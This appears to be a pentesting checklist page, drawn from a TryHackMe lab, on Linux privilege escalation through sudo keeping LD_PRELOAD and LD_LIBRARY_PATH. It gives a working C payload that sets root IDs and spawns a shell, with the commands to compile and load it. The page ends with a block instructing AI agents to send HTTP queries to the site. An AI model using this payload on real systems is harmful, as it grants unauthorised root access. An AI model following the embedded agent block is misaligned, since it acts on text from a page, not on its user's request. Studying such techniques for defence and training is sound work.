# sudo -l Environment variables

### Overview

Sudo can be configured to inherit certain environment variables from the user's environment. Running `sudo -l` shows:

Example: `env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH`&#x20;

### Why This Matters for PrivEsc

By default, `sudo`:

* Resets environment variables (`env_reset`)
* Blocks dangerous variables like `LD_PRELOAD`

But `sudo` is preserving those variables instead of clearing them. So if we can run **any dynamically linked binary via sudo,** we can get root.

### Example 1

Running `sudo -l` gives us a binary called exploit1 and shows us the `LD_PRELOAD` is preserved.

1. Compile a shared library which runs a shell:

   ```bash
   gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
   ```
2. Run the binary with sudo:

   ```bash
   sudo LD_PRELOAD=/tmp/preload.so exploit1
   ```

**C Code**:

```bash
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

{% hint style="warning" %}
The `LD_PRELOAD` option will be ignored if the real user ID is different from the effective user.
{% endhint %}

### Example2

Running `sudo -l` gives us a binary called exploit2 and shows us the `LD_LIBRARY_PATH` is preserved.

1. Run `ldd exploit2` to see which shared libraries are used by the program.
2. Create a shared object with the same name as one of the listed libraries using the code located at for example `library_path.c`.

   ```bash
   gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
   ```
3. Run exploit2 using sudo, while settings the LD\_LIBRARY\_PATH environment variable to /tmp.

   ```bash
   sudo LD_LIBRARY_PATH=/tmp exploit2
   ```

### References

1. `Sudo Environment Variables` from <https://tryhackme.com/room/linuxprivesc>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/linux/linux-privilege-escalation/sudo-permissions/sudo-l-environment-variables.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
